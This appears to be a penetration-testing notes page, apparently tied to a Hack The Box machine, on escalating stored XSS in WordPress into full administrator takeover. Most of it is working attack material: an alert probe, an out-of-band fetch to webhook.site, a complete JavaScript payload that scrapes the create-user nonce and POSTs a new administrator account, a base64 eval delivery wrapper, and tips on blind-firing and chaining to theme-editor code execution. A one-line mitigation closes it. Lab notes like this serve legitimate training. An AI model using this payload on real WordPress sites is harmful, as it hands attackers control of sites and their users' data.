đź§ WordPress - XSS to Admin Account Takeover
What is it?
- Concept: A stored XSS payload in content that an administrator views inside
/wp-adminis used to create a new administrator in the admin’s session — WordPress asks for nothing beyond a nonce, which the payload reads from the page itself. - Impact: Full admin takeover from a low-privilege account (or none), which then enables WordPress - Theme Editor RCE.
How it works
- A low-priv user plants stored XSS in a field that later renders in an admin screen (comments, contact-form submissions, post titles).
- When the admin opens that screen, the JS runs with the admin’s cookies.
- The JS
GETs/wp-admin/user-new.phpto read the fresh_wpnonce_create-user, thenPOSTscreateuserwithrole=administrator.
Exploitation
Prerequisites
- A stored-XSS sink whose output reaches an admin’s browser
- An admin (or admin bot) actually views it
Attack Vectors
1. Probe the sink
<img src=x onerror=alert(1)>2. OOB test (optional — confirms it reaches the admin)
Use HTTPS to avoid mixed-content blocking.
<img src=x onerror=fetch('https://webhook.site/<id>')>3. Create-admin payload
Fetch the fresh user-new.php nonce as the admin, then POST createuser with role=administrator.
(async () => {
const t = await (await fetch('/wp-admin/user-new.php',{credentials:'include'})).text();
const n = t.match(/name="_wpnonce_create-user"\s+value="([a-f0-9]+)"/)[1];
await fetch('/wp-admin/user-new.php', {
method:'POST', credentials:'include',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body: new URLSearchParams({
action:'createuser', '_wpnonce_create-user':n, '_wp_http_referer':'/wp-admin/user-new.php',
user_login:'svcbackup', email:'svcbackup@target.htb',
pass1:'Str0ngPass!2026', pass2:'Str0ngPass!2026',
role:'administrator', createuser:'Add User' })
});
})();4. Deliver (base64-wrapped so it survives the sink)
base64 -w0 xss.js # -> <img src=x onerror=eval(atob('...'))>Notes
- If OOB callbacks never fire, the admin bot likely blocks egress — you don’t need exfil; blind-fire the create-admin payload and just try logging in afterwards.
- To get the exact
user-new.phprequest shape, stand up a throwaway WordPress in Docker and capture it in Burp. - Same primitive drives other admin-only actions (install plugin, edit theme) — swap the POST.
Mitigation
- Fix: Output-encode/sanitize stored content before it renders in
/wp-admin, apply a strict CSP, and never echo raw user input into admin screens.
Related Usage
| File | Created |
|---|---|
| HTB Machine - MakeSense | September 14, 2026 |
References: